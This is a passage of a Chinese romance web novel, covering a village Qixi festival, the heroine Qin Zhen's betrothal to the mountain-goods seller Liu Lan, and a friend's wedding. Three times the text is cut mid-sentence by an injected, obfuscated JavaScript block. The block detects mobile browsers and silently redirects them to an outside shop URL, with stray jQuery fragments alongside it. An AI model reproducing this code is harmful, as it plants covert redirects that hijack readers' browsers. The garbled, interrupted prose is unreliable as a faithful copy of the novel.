高高大大的汉子被她看得脸颊微红,目光闪躲着看向旁边,偏偏引发此时的主人公还凑到他眼前问好不好看。 “好……好看。”柳岚哑着嗓子回答,想起自己此行的目的,又磕磕巴巴问道:“秦姑娘今晚去二里庙吗?” 周围几个村子约定好一同举办乞巧节的地方在一处开阔的空地,最开始没有地名,因距离寻柳村二里地,又建造了一座小的织女庙,寻柳村的村民们常称为二里庙。 乞巧节前段是女子穿针引线比手巧,后段则是适龄男女向心上人表明心意的好时机,早已两情相悦的人也会借此求亲,定下终身。 柳岚特地询问,便是想趁机确认秦蓁的心意,好为两人的以后做准备。 秦蓁点点头,回道:“会和青竹她们一起去。” 同村的年轻男女大多会结伴过去,不过村长和村里的一些长辈要先去那边布置,李青竹作为李和顺的女儿,自然要过去帮忙。 大家为了陪她,都选择提前过去。 平常日子这样过着倒不觉得什么,有了期待的事情后便知晓时间难捱。 终于等到日头落入西山,秦蓁提前吃了晚饭,收拾好后锁好门窗,朝村口而去。 村口停了一辆骡车,车板上放着桌椅和准备的供品,以及为“得巧”颁发的彩头。 “都来了吗?”李青竹问。 “还差云兰和晴霞。” 正说着,两道身影便急急忙忙从远处跑来。 姑娘们接过两人拍背顺气,缓了缓才出发。 烈日的余晖灼烧着天边的云彩,金红的霞光渐渐淡去,只剩下雪青色的薄云。 大家在嘻嘻闹闹中来到了织女庙。 其他村子的人也陆续赶来,一同开始布置。 小小的庙前被木桌占满,巧果、山花、五谷……能准备上的供品一一摆上桌,好几个村子的东西一齐摆好,把本就热闹的节日衬托得格外的盛大。 最前方的案桌放着每个村子的香炉,以便年轻的男男女女上香祈愿。 按照规矩,比巧的用具需由往年得巧的长辈来准备,年轻的姑娘们帮不上忙,婶子两手一挥,打发她们去别处玩乐。 这边没什么好去处,鉴于秦蓁是第一次过来,大家便带着她在周围闲逛。 一路上不免会碰到其他来得早的姑娘和汉子,天色渐渐昏暗,在依稀的天光里,秦蓁看到许多姑娘都打扮得漂漂亮亮,明知夜晚会遮盖她们精心准备的成果,可大家还是怡然自得,和熟识的小姐妹小声交谈着自己身上的饰品。 秦蓁鲜少出门,又是首次参与乞巧节,好些男子都被她出色的容貌和独特的气质所吸引,见有一男子准备过来搭话,李青竹她们立马带着秦蓁离开。 “走走走,回村回村。” 秦蓁不明所以,但也不想同其他人有交集,跟着大家跑到寻柳村的聚集地。 姑娘们小时候野惯了,追逐打闹是家常便饭,没想到把大家闺秀般的秦蓁也带着跑动起来,众人相互对视着,不禁笑出声。 李青竹缓了缓,对秦蓁解释道:“刚刚那个是久安村的小霸王,叫孙天禄,天天招惹长得好看的姑娘,听说还经常去那种地方,幸好大家都知道他是个什么人,不会被他哄骗。” 柳瑶见周围人不多,悄声补充道:“还好我们村离得远,那边的姑娘天天被他戏弄,到了年纪就天天数着日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984769|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好嫁去夫家,今年年初还在传,说他差点糟蹋了人,害得人家不得不远嫁。” “没人治他?”秦蓁第一次听说这种恶事,眉头蹙起。 “治不住,他爹和叔伯都拿棍子打了,伤好了又犯,还偷拿家里的银钱。” 众人显然被家里叮嘱过,对于孙天禄的罪行很是了解,你一言我一语,时不时还咒骂几句。 等回过神来,乞巧节也差不多该开始了。 秦蓁跟着大家准备往回走,转身时却在一众男子里看到不远处的柳岚。 本就高瘦的汉子换下衣裤,改穿一袭长衫,清俊的面容被衬托出几分儒雅,若是不知情的人,还以为是哪个书院的先生呢。 柳岚周围的好几个男子也在望向这边,大概是她们中间某个姑娘的订亲对象或者追求者。 不过巧手比试在即,眼下也顾不上同人说话,姑娘们回到比试场地,按约定坐在摆好的板凳上。 年轻妇人和未出嫁的姑娘分开,大概十人围坐一圈,等着长者发放物品。 第一轮是穿七孔针,需将细线穿过一根有七孔的特制针,一圈里最先完成者为此项的“得巧”。 皓月当空,一声锣响后比试开始,一众女子在月光下快速穿针。 乞巧节是一年里最热闹的节日之一,几乎男女老少都会过来瞧瞧,不愿出门的则留在家里看家,以防胆大包天的贼人趁此机会作乱。 男子一律只准在外围观看,妇人则允许带着小丫头在场内走动。 参与比试的女子在与旁人较高低的同时也在展现自己,毕竟大部分妇人的目的就是看看新进门的媳妇手熟不熟,并且了解自己为儿子或小辈准备相看的姑娘是否勤劳。 秦蓁并不知晓乞巧节背后的含义,因此没有其他姑娘那样的烦恼,只是顺应自己的心意随性而为。 穿针对于她而言是基本功,但也不会特地练就快速穿针的本事,当秦蓁穿至第六孔时,柳云兰已经举起手中的七孔针,示意完成。 其他人并未就此停止,而是按照自己的节奏穿完七孔。 每个圈里陆续有人得巧,确定没有遗漏的得巧者后,紧接着开始第二轮。 软木上并排插着七根针,穿线的孔洞依次变小,没有规定前后顺序,最先穿过第七根的人为“得巧”。 秦蓁还未见过这种玩法,神情间有些跃跃欲试。 又是一声锣响,秦蓁率先从最小的针孔开始穿线,因是随意插的针,只间距一样,针孔方向并不一致,大家不得不将软木拿到眼前,仔细观察着。 这项比试事态频出,不是意外将针蹭歪便是线被方向不一的针缠住。 到最后,秦蓁这圈竟是被看起来最耐不住性子的李青竹得巧。 紧张的气氛开始消散,原本安静的四周变得热闹。 “吓死了,我都不知道针是什么时候歪的,我还说那线怎么扯都扯不过来。” “我刚开始就把线扯得很长,可惜比青竹慢了一步。” “秦姐姐,怎么样,好不好玩?” “好玩,”秦蓁吐出口气,“不过不太习惯身后的动静。” 秦蓁常常一人在家,姑娘们过来时也不会随意走动,乍一听到脚步声,她总忍不住回头望。 柳云兰和李青竹过去村长那边拿奖品,第一轮是七尺布料,第二轮则是七斤糙米。 因后段时间是尚未订亲成婚的年轻人求姻缘的时机,带着奖品碍事,李青竹干脆让自家娘亲帮着收好她和柳云兰的奖品带回去。 已经订亲或互表心意的一对对终于有光明正大独处的机会,雀跃的小心思根本遮掩不住,姑娘们一一告别,秦蓁也准备朝柳岚那边而去。 汉子见她转身,立马快步迎上。 “这是哪家的书生郎啊?” 柳岚被她打趣了也不说话,只是带着她往远处走。 15. 第15章 月亮好似一颗硕大的夜明珠,散发出微凉的光辉洒落在被夜幕笼罩的大地上,路边的草丛里荧光点点,被风吹起又落下。 两人的影子在夜色下交叠,好似一对亲密的佳侣。 一路走过,难免会遇到本村的人,相识的好友露出戏谑的笑,不知情的旁人则惊讶不已。 秦蓁回想起别人不可置信的目光,一时觉得有趣。她笑道:“好似我们结伴是惊天动地的大事。” “可能是我过于平庸,让人觉得配不上你。”柳岚状似随意道。 “外人评价的般配是表象,两人之间是否般配应该看内在,你觉得呢?” 柳岚闻言,在外侧握紧的拳头终于松开,他突然想起李兴上次说的话,犹豫片刻后开口道:“有人说我是为了攀高枝才求娶你,你会在意吗?” “原来大家这么高看我?”秦蓁轻笑,“我们孤身一人,都是靠自己的手艺挣银子,哪里有什么高枝可攀?” 若是她爹娘还在世,现在应该算小富之家,勉强能称为高枝。 至于柳岚,虽然他的家境看上去确实贫穷,可从他送的几朵雪耳来判断,此人积蓄应当不少,总归没有外人以为的少。 秦蓁年幼时见娘亲喝过雪耳羹,听爹爹念了两句,说怎么轻飘飘的一小朵就要花上五两银子。 那朵雪耳品质一般,色泽淡黄且外形并不圆润,而柳岚送的五朵雪耳同样品质欠佳,但按当年的价值来算足有三十两,更何况现在。 柳岚松了口气,吊在心上的石头也安然落地。 秦蓁却反过来问他:“你家里的长辈不会觉得我娇生惯养吗?地里的活我都不会干。” “确实会有这方面的顾虑,”柳岚坦言道,“但若是你现下不用劳作,往后却受苦,我又怎么舍得开这个口?” “大伯和伯娘会为我忧虑,却不会为我做决定。放宽心,我都会准备妥当。” 秦蓁见他神情坚毅,不由得放下忧愁,选择信任对方。 这个“岚”字可真没取错,他既像山那般沉稳,又带着风的和煦,在他身边好似不会有愁绪。 柳岚带着秦蓁往莹辉聚集的地方走去,只见她露出惊奇的目光。 “流萤?” 秦蓁从未在夜晚外出过,流萤一词她只在书卷中读到,没想到这次能见到萤火满天的景色。 柳岚借此机会拿出备好的木盒,揭开盖子露出两根簪子。 男女定情时,富家子弟多送钗、环、簪、佩等物,而民间则以发簪为重。 未等柳岚开口,秦蓁也拿出一个香囊和放在木盒中的玉佩。 她向李青竹等人询问过,一般向男子表心意,香囊和手帕便足够了,但秦蓁自觉不够珍视,便又去挑选了一枚玉佩。 两人对视一眼,都不禁露出笑容。 “我去徐木匠那边学了几天,手不灵巧,只雕出个花样。后来还是去银楼里买下了这根。” 秦蓁接过,仔细欣赏着两根簪子。 木簪簪身滑润,看得出制作的人有细心打磨,而簪头隐隐约约能看出是一朵桃花,旁边有一小块凸起,应当是准备雕一朵花苞。 银簪做工精细,桃花的花瓣和花蕊都栩栩如生,绽放的花宛若即刻便会随风而去,花苞则仍在枝头含羞带怯。 “都好看,我很欢喜。” 在月光下,秦蓁的喜爱之情清晰可见,并无半点鄙夷。 柳岚的视线忍不住朝心上人看去,躲闪的间隙里才顾得上看两眼香囊和玉佩。 玉佩是常见的平安扣,柳岚不懂玉,但有秦姑娘这份心意便足矣。最令柳岚在意的是香囊上绣着连绵的山峦,上方还有几片柳叶。 —— 乞巧节过后,小年轻们纠葛的关系果然成为了大家茶余饭后的谈资,一边翻出某家姑娘的往事,一边又惊叹几个小伙子居然大打出手。 不过,在寻柳村最吸引人的还是秦蓁和柳岚这一对。 “这秦家丫头也不知道是怎么想的,前年常青村吴地主家的小儿子差人上门提亲,她不答应,北边的秀才去年求娶,她也不答应,都快成老黄花了,结果选了个没出息的山货郎。”说话的人扇了扇半新不旧的蒲扇,语气中带着几分嘲讽。 昨日夜里下了场雨,云层到正午也不曾散去,几个老妇人见天气凉爽,便聚在村口的树荫底下说闲话。 其中一个妇人抓了把南瓜子,边磕边摇头,“我看呐,就是被哄住了,没想到山货郎平时看着老实,倒有些能耐。” 冯萍掀起眼皮子不咸不淡接了句:“没点本事能从那些富家老爷手里挣银子?” “我听说啊,他前些日子上银楼买了根簪子,少说得花三两!”另一个老婆子伸手比了三根手指,说得有板有眼,好像当时自己就在旁边看着。 “秦家搬过来的时候多大阵仗啊,现在肯定也能捞些好处,可不得多费些心思哄住那丫头。”怪不得自己给柳岚那个死小子说的姑娘他一个都不乐意,原来打的这算盘,冯萍想起有一家愿意给三钱银子的媒人钱,一时恨得牙痒痒。 不过,话题中的主人公之一并未听到此类风声,即使听到了也不会在意。 此时的秦蓁正坐在林青娘旁边,刚交代完准备订亲的事。 先前未曾言明是不想让长辈们操心,虽说林青娘待她如亲生闺女,但她操劳着自己的小家和镖局的大家,秦蓁实在是不想让她为了自己再多费心神。 周大石等人向来直率,对于秦蓁成婚与否并不会多言。若是不成婚,以他们几个老光棍的积蓄,怎么说也能养活一个小姑娘,更别说家里姑娘自己争气;若是成婚了,姑爷待秦蓁好便算了,待她不好的话,不论是秦蓁想留他还是和离,几个老家伙揍人的力气也不比小伙子轻。 如今尘埃落定,订亲的大事总不应该再瞒着了,况且秦蓁同周家亲厚,有意请两人坐高堂。 林青娘沉默了片刻,斟酌道:“定下了?” “青婶放宽心,我并非急于成婚,也不是随意挑选的人选,我们二人从相识到相知不过三月,但论其人品和秉性,他确实是值得托付终身的人。” 秦蓁见过好些道貌岸然的伪君子,即便是柳岚再合她心意,也会不自觉去打探一些消息。 同柳岚有交易的几户人家秦蓁也签订过契书,她状似不经意间询问几句山货相关,便能从只言片语中看出柳岚在这片的名声不错,不过她也不敢每家都去打探,各家各院的下人多少都有联系,在宅院待过的总比常人精明,问多了容易引事端。 再加上柳岚在村里的为人处世和柳大伯家的家风,就人品而言,柳岚多少能评个颇佳。 “那他家里怎么样?”林青娘见秦蓁一副认定了那人的模样,只好细细询问对方的情况。 中途吴春梨忙完过来,也在一旁听得仔细。她知道周安也在意这个妹妹,时不时问上两句。 而周安在屋外抱着女儿,目光则紧盯儿子,以防他闹腾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997208|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周大石带着其他人走镖去了,因此没人能为他分担一二,毕竟哄得住两个小娃的女人都在屋里坐着呢。 …… 订亲的事马虎不得,小年轻不懂事,还是得有长辈坐镇。 秦蓁留宿一晚后,第二天林青娘便收拾东西到秦家去了。 以前两家来往密切,林青娘和周大石也会来秦家小住,不过自秦叔朗出事后怕秦家母女心生芥蒂,便来得少了。时隔几年,林青娘对这里依旧算不得陌生。 她熟门熟路清扫出久不住人的西厢房,照顾秦蓁起居的同时静候媒人上门提亲。 —— 王梅红提了只大雁在秦家门口转悠,好在这边人家少,没人见着,否则她的脸面得掉在地上。 她在寻柳村做了几十年的媒人,对于说媒一事自然不会怯场,可这姑娘是秦家的就得另说了。 秦蓁到了适婚年龄后,好几家都托她去拜访过。 王梅红的名声在周围的村子里那是顶好的,不仅嘴上功夫说得漂亮,还会真心为两家考虑,从不贪用意不良的媒人钱,家底不清白的、人品不端的,她都不接,经由她牵线的每一对夫妻都和和睦睦,少有争吵。 虽说不像其他媒人那般送出一对又一对,可成婚后过得最好的还要数她说过的媒。 秦家姑娘貌美出众,听说琴棋书画样样精通,一手绣技也是难得的手艺,不少媒人都盯着这块香饽饽,好让自己的名声再添添火候。 当吴地主家邀请她去说媒时,王梅红内心难掩澎湃——其一是因为秦蓁的名号,其二则是因为事成后丰厚的媒人钱。 吴地主家三个少爷,大儿子就是她给说的媒,夫妻俩关系融洽,用书上的话那叫举……举案齐眉;二儿子不学无术,天天惹是生非,王梅红便假意为难,一拖再拖;小儿子长得一表人才,没有学他二哥净胡闹,配秦蓁应当是配得上的。 于是王梅红上门了。 孰料她磨破了嘴皮子也没能将秦家姑娘说服,只得遗憾作罢。后来的李秀才和其他人依旧没能获得秦家姑娘的芳心。 时隔半年再次上门,王梅红不禁有些踌躇,但想起乞巧节时秦蓁和柳岚走在一起的身影,还是硬着头皮敲门进去了。 “王婶?快请坐。”秦蓁引她到堂屋坐下,自己则转身回屋去了。 林青娘见王梅红手提大雁,便知是媒人,问道:“可是村里的王妹妹?早就听闻你牵的红线堪比月老,今日有什么好事要告知?我夫家姓周,是蓁蓁丫头的婶娘,有事你先同我说道说道。” 即便柳家那边打保票,王梅红也不敢轻信,如今一打照面,她就知道两家都有意,心思当即活络起来。 “原来是周姐姐,我可不敢托大,但确实有好事要过来商议。” “秦姑娘苦守至今,可算是等来了良配。那汉子姓柳名岚,模样周正,个子高挑,家境虽然比不得秦姑娘,但品性纯良,对秦姑娘一心一意,以后绝计百依百顺,不会委屈了秦姑娘。” 王梅红又指了指放在院子里的大雁,说道:“这是养雁那户人家手头上最重的一只,足有十二斤,可见柳家的诚意。” 林青娘知道自家丫头已经和那小子交换了信物,眼下不过是走个过场,于是她只能顺着媒人的话接下去。 王梅红的名声确实不错,林青娘也知道她,问了许多,得到的情况也与秦蓁交代的相差无几。 终于,王梅红第一次顶着笑脸离开秦家,提过来的大雁则留在后院。 16. 第16章 王梅红再次登门,带来了聘书和卜婚的签文。 “恭喜秦姑娘,上上签!真真是天定的良缘,我已经好几年没见过这么好的签了,两位必定会幸福美满,恩爱到老!” 林青娘接过聘书和签文,眼神示意秦蓁,秦蓁便拿出红封递给王梅红:“小小心意,麻烦王婶了。” “哪里哪里,我还沾了秦姑娘的喜气呢。”王梅红随手一摸。钱不多,应该是十枚铜板,寓意十全十美。 她们这边向来是男方给媒人钱,不过听说书的讲过,京城里的人家礼数多,也有些女方会给媒人钱。秦家不愧是从外头来的,果然讲究。 王梅红不多打扰,送过聘书等物便回柳家交差去了。 礼书和聘礼过两日再送来。 寻常人家不太讲究三书六礼,为了省事,相看后纳吉问名归为一道,中间三礼一道,最后迎亲礼成。 看得出柳岚费了心思,一书一礼都在按规矩来。 彩礼给的六两,寻柳村家境尚可的人家大多是这个数,寻常人家一般给三两。 聘金是六十六文钱,祝愿婚事顺遂。 聘礼由刷好漆的木箱装好,零零碎碎凑了六大箱,林青娘不识几个字,接过礼书后交给旁边的秦蓁。 几匹布料占了大头,首饰不多,剩下的则是各类用品和桂圆红枣之类。 她同柳岚说过,不必为了排场浪费银钱,多买些实用的便好,没想到柳岚还是凑足了六抬聘礼。 于红英见秦蓁的目光落在最后,这才开口道:“亲家母看看还有什么要添的?” 林青娘冷淡的脸色瞬间变成笑脸,确认秦蓁的神情没有异样后连忙接过话:“亲家母办事妥帖,哪里还需要再添置?” “那就好,阿岚查看了好几遍,确认无误了才让我带过来。” “阿岚看着就稳妥,成亲后我也能放心了。” “是是是。”于红英直笑得合不拢嘴。 两位“娘亲”其乐融融,直到谈论婚期气氛才微微凝滞。 “九月会不会太赶了?我们是想留蓁蓁到来年开春。”虽然秦蓁不常来镇上,但怎么说都是自家人,可若是出嫁了,就是别人家的了,晚留几个月总归不同些。 于红英偷偷看了秦蓁一眼,道:“阿岚说冬天一个人难捱,两个人还能有个伴。” 其他姑娘若无意外情况,家里养得起的自然都是留到来年开春,不过秦蓁特殊些。 秦蓁本就是一个人生活,不用考虑养不养得起,可一个人住在家里着实清冷了些,往年没交情便算了,现下两家结亲,往后的日子也该为她考虑考虑。 林青娘看向秦蓁,自家姑娘没开口,谁也不敢替她胡乱答应。 “婶子,这事两家再商量商量?” 于红英知道做主的人是秦蓁,也跟着打圆场:“好好好,不急不急,我就是提一嘴,蓁蓁这么好的姑娘,谁不想早点娶回家?” …… 送走于红英和陪场的王梅红后,林青娘冷静想了一会,觉得柳岚其实说得对。他们不能时刻留在秦蓁身边,一到冬天常常会挂念她,隔上三五日便过来看看,而秦蓁怕他们奔波劳累,劝说了许多次。 若是秦蓁早早嫁过去,家里有个汉子,周围还有不少邻居,怎么看都让人放心些。 不过林青娘不催她做决定,让秦蓁自己多想想。 其实乞巧节那日两人便谈论过这些,她一人独居惯了,一听要搬离自己熟悉的小院和另一个男子共同生活,除了浓烈的不舍还有对前路的迷茫。 直到成亲事宜完成大半,秦蓁才骤然发觉,自己好像真的快要离开这个家了。 她记得水井建好后爹爹手一抓,没几下就把装满水的水桶提了上来,娘亲笑着骂爹爹只有蛮力,偷巧都不会,爹爹则在一旁傻笑。 葡萄成熟后她想摘却摘不到,爹爹一手就把她扛到肩上坐着,光辉落在娘亲的脸上,她记得娘亲笑得很好看。 她还记得爹爹饭量大,往往她和娘亲吃完了爹爹都还在吃,两人就坐在桌边等他吃完。 …… 倘若往后的日子能像爹爹和娘亲那般,倒也不会令人觉得迷茫和害怕了。 婚期最终定在九月初七,日子有些赶,但柳岚还是选择了那天。秦蓁问他为何非要坚持,他道:“那时气候正好,秋高气爽,你穿嫁衣时多添两件衣裳也会很好看。” 他秋冬时去宅院里卖山货,偶然听丫鬟说起过,她们伺候的主子嫌袄裙太厚,凸现不出她腰肢的纤细,非要找绣娘改几针。 秦姑娘自然不骄横,柳岚只是觉得她可能也会同其他女子一般在意自己的外貌,女子成婚一生仅此一次,必定百般珍视。 婚期已定,要忙活的事项一个接一个,秦蓁不用操心这些,柳岚那边有大伯家帮衬,林青娘则一手操办她这边的事宜,她唯一需要做的,便是在两个月之内绣好柳岚的婚服。 这对于秦蓁来说不难,只是她不常制衣,头先不免手生,熟悉之后更加得心应手,一圈纹样费的时辰也越短。 为柳岚做的婚服样式和秦蓁那件嫁衣相似,纹样也临摹得近乎一样,乍看之下会以为是同一人所制。 婚事紧锣密鼓地筹备着,而在不知不觉间,稻田逐渐变得金黄。 秋风渐起,丰收的号角声响彻各地。 柳岚忙得不可开交,一边在田里收稻,一边为婚事做准备,采山货的事情只得搁置下来。虽然比往常更加劳累,但心里头有了念想,便不觉得苦了。 确定婚期后,林青娘便在镇上和村里来回奔波,她身子骨好,又因为了却了一桩心事,不仅没有清瘦,反倒是圆润了几分。 秦蓁原本还担心她,见此只能无奈一笑。 柳岚的婚服由于是仿制,省了不少功夫,正面的大纹样已然完成大半。以此来看,不必担忧两个月之内完成不了。 过于紧绷的身子更觉乏累,秦蓁便起身到院子里松松筋骨,晃晃悠悠走在井边,她抬头望去,只见绿叶遮盖下的紫葡萄颗颗圆如珠玉。 目前结得最好的有八串,次日,秦蓁将熟透的两串剪下,清早洗衣前给在田里的柳岚送去。 两人的婚事早已在村子里传得沸沸扬扬,秦蓁丝毫不在意,守着自己的一亩三分地安心度日。 各家都在忙碌,等空闲下来,李成玉的婚期也即将来临。 众人齐聚在秦家,没有带绣篮子来做绣活,也不似闲聊时那般轻快。 秦蓁特地剪了三串葡萄,回到堂屋见一个个愁眉苦脸的,笑道:“怎么了?不乐意吃葡萄?” 大家把视线转移到少见的新鲜事物上,冲淡了萦绕在周围的浅淡离别。 “哪有不乐意,每年都盼着呢!”年纪小的李诗婷率先捻了一颗,仔细剥皮后放入口中品尝,“比去年的好吃!” 其他人紧接其后。 李成玉也开口道:“我四伯家也栽了一棵,味道没有秦姐姐家的好。” “可惜我们这边不通水运,听闻南边运来的果子汁水甘甜,种类繁多,府城就有不少呢。” “好吃是好吃,可是也贵啊,我绣五方帕子才能买一斤。” 小丫头的馋嘴众人皆知,一旁的姑娘打趣道:“叫你未来相公多挣银子给你买,不就有得吃啦?” “那也得看婆婆是怎样的人,万一挣的银钱都要交给她,哪里还有钱买吃食啊?”李诗婷顶着尚且稚嫩的脸庞说得正经,引得一众姑娘发笑。 李青竹逗她:“别怕,到时你去各个姐姐家里讨要,怎么也够你吃个十天半个月了。” “那姐姐们记得给我留点。” 大家哄笑作一团,七嘴八舌接她话。 “来玉姐姐这,姐姐给你备糕点。” “我备点果脯,带着零嘴好在赶路时吃。” 秦蓁也跟着凑热闹:“秦姐姐请你喝石蜜。” 姑娘们玩闹了一会才发现,秦蓁的婚期好像也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010348|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离得不远了。 虽说依旧在本村,但嫁人后终归还是不同的。 “秦姐姐,那以后岂不是不能过来这边了?” “怎么不能?” “嫁人之后可忙了,我嫂子说她以前也同我一样,可自从嫁了人,不是操持家里事务就是带孩子缝衣裳。” 秦蓁暂且没想过这些,只道:“日后的事情哪有说得准的?想来了便同我说,总不会一点空闲时间都没有。” —— 李成玉出嫁前一天,李家摆了三十桌宴席,村子里一大半的人家都来了,没点钱财可摆不起这么大的排场。 同李成玉交好的姑娘没坐在席上,都在里屋陪着她说说话。 家里人各有各忙活的事,娘和嫂子她们进来坐一会又得出去,有姐妹陪着,李成玉便让她们不用记挂自己,先去把外头忙完再说。 姑娘们知道是喜庆的日子,不会特意勾起李成玉的伤心事,都在一个劲的哄她笑。 临近傍晚,霞光将现未现,即便再不舍也该告别了,大家在李成玉跟前笑意盈盈,时不时宽慰她,出了李家的院门却还是忍不住落泪。 秦蓁走在最后,她牵起即将新婚的姑娘,将红布包裹着的一样小东西悄悄塞进掌心。 “我原本打算买支簪子或一对镯子,可转念一想,若是你夫婿有情,自然会为你置办这些,若是日后无情了,也不会在意你戴的什么首饰。” “离家,成家,往后的路都该由你独自行走,不要过于依赖夫婿,你要有自己的退路。受委屈了不要逞强,回来找娘亲,找家人,好姑娘,你知道该怎么做,是不是?” 李成玉攒了一天的泪水夺眶而出,“秦姐姐……” 她娘固然疼她,可定亲后叮嘱的话都是让她好好伺候夫婿,孝顺公婆。李成玉不想听这些,她自在了这么些年,从不委屈自己,受欺负了怎么也得欺负回去,不过是嫁人,凭什么要自己忍气吞声? 但她不敢顶嘴,只能在心里念叨,听过秦蓁的话,她才知道自己想听的是什么。 “不哭,明日便是新娘子了,眼睛哭肿了可不好看。” 从李家出来后,秦蓁不由得叹了口气。据她所知,常青村沈家是云山镇少有的书香世家,家风严正,但内里的关系盘根错节,外人所知不多。 秦蓁只望李成玉的夫婿身为最小的后辈,能受家里宠爱,不必让李成玉经受风波。 次日,秦蓁等人目送李成玉上花轿,见骑着高头大马的新郎官带领迎亲队伍朝远方行去。 …… 热闹过后,大家的生活还是像往常那般,只是姑娘们在河边洗衣裳的人群里少了李成玉的身影。 回门那日大家又齐聚在秦家,李成玉梳着妇人的发髻,眼波流转间也带着一丝独特的韵味。 其他人发觉出她和往日不同,却没细看,围着问她那边怎么样。 新婚燕尔,当然一切都好,李成玉把能说的说了,让姐妹们安心的同时也不要对她们自己的婚事担忧。 她上午归家,带着夫婿吃过午饭后自己出门看望好姐妹,常青村离寻柳村不算远,可也得费上三刻钟左右,因此李成玉能待的时辰不长。 往后再次相聚不知是何时,大家都依依不舍,不过李成玉情绪尚好,还有余力朝秦蓁眨眼睛。 众人走后,秦蓁打开李成玉悄悄塞给她的信纸。 上面粗略写着她在沈家三日所获得的信息:沈浩安作为最小的后辈果然备受宠爱,但吃穿用度皆由府里分配,且几位兄长近年开始把控家里的各项产业,虽说日后不至于亏待他们夫妻俩,可终究是受人限制。 好在沈浩安满心赤诚却并不愚笨,除了明面上的几间铺子,私底下也存了不少东西,而李成玉自己则打算暗地里多买几亩良田,租给佃户好卖粮食,钱不算多,年岁长了也是一笔不小的收益了。 秦蓁看完,也觉得李成玉的办法可行,对她的一丝担忧终于放了下来。 17. 第17章 柳岚扛着锄头从田间归家,路边偶有露水沾湿裤脚也不甚在意,他步履匆匆,放下锄头后便提起菜篮子到大伯家的园子里摘新长出的空筒菜和木槿花。 大伯娘不知秦姑娘种没种这些,让他今日给她送去。 临近出门,柳岚又放下篮子,跑到后山折了几支百日红。 他到秦家的时候秦蓁刚刚用过早食,见他从菜篮子里拿出一把柴刀,问道:“又去砍柴?” 柳岚点头,“天转凉了,你多烧些热水暖暖,不用怕柴火不够。” 入秋后,大部分人家已经开始为过冬做准备,人口多的连三岁小娃都得出门捡柴火,严寒的冬日不好过,大家不得不认真对待。 除去粮食和柴火,养了牲畜的人家还得多割些过冬的草料。 柳岚和大伯家养了一头驴和一头牛,天天要到村外割草料,趁着天好晒干储存。 不过他常年在山里转悠,柴火没少备,完全足够十个人安然度过冬天,因此不用担心。 “好。”秦蓁接过篮子,回身去灶房提了个小背篓出来,“给你拿了五个馒头,饿了就垫垫肚子。” 柳岚出门出得早,一个上午忙活完想必会饥肠辘辘。 秦蓁记起上一次,柳岚因为着急出门,干粮带得不多,午时回来路过她家门口,秦蓁一走近便听到他肚子在打鼓,害得柳岚脸红了大半。 此后她常常会多蒸些馒头,好让柳岚上山时多带点,不至于在山上待得太久饿肚子。 柳岚把柴刀放好,背着背篓朝山上而去。 秦蓁则回屋继续绣婚服。 —— 日子一晃而过,随着秋意渐浓,鼻息间似有若无的阵阵幽香也更加清晰。 周家巷尾的一户人家后院栽了棵丹桂,枝繁叶茂,十来年长成的高度早已越过院墙,隔了好远也能见着那橙红色的花簇,宛若一片热烈的霞光。 灶房上的瓦罐里炖了雪耳白梨汤,开始咕噜咕噜冒着响。 林青娘抱着小孙女择菜,吴春梨则在一旁缝补周安划破的衣裳,见秦蓁过来后还是一副愁眉苦脸的样子,林青娘无奈问道:“还不搭理你?” 秦蓁点点头,叹了口气。 中秋团圆日,周大石他们走镖总会赶在这日之前回来,秦蓁往年会过来小住个两三日,今年也不曾例外,况且还有她要成婚的大事,还是当面告知长辈为好。 谁知向来最袒护秦蓁的几人听过这个消息后勃然大怒,从昨日起便没同她说过一句话。 “要我我也得气得不轻,不过当时看你满脸喜悦,没舍得说你。就该让他们来治治你。”林青娘一根手指戳她脑门上,秦蓁顺势被推到一旁,又偷偷正回来。 不知怎么把小姑娘逗乐了,咯咯咯在那笑。 “哎呦,我们盼盼笑什么呢?”吴春梨回屋放好东西,顺手抱起小娃娃,见女儿双眼还是看着秦蓁,只好跟在她身后,“看姑姑,姑姑好看是不是?” 秦蓁也逗了一会,而后起身去灶房把炖好的甜汤端出来分。 盛好后吴春梨不让她动,自己到外头喊周安,左右他皮糙肉厚不怕烫。“周安!过来一趟!” “欸!来了!”周安在库房整理货物,一听到媳妇招呼,立马跑到灶房。 “放桌上去晾着,等会叫爹和李叔他们来喝。” 今日镖局过节,前院只有周大石几个,周辰那小子不知道跑到哪里去了,过了一会又从犄角旮旯里冒出来,守在桌前等着喝甜甜的汤。 秋日干燥,家家户户都会煮点清润的汤水防燥邪,几个汉子再不乐意喝也都捏着鼻子灌了一碗。 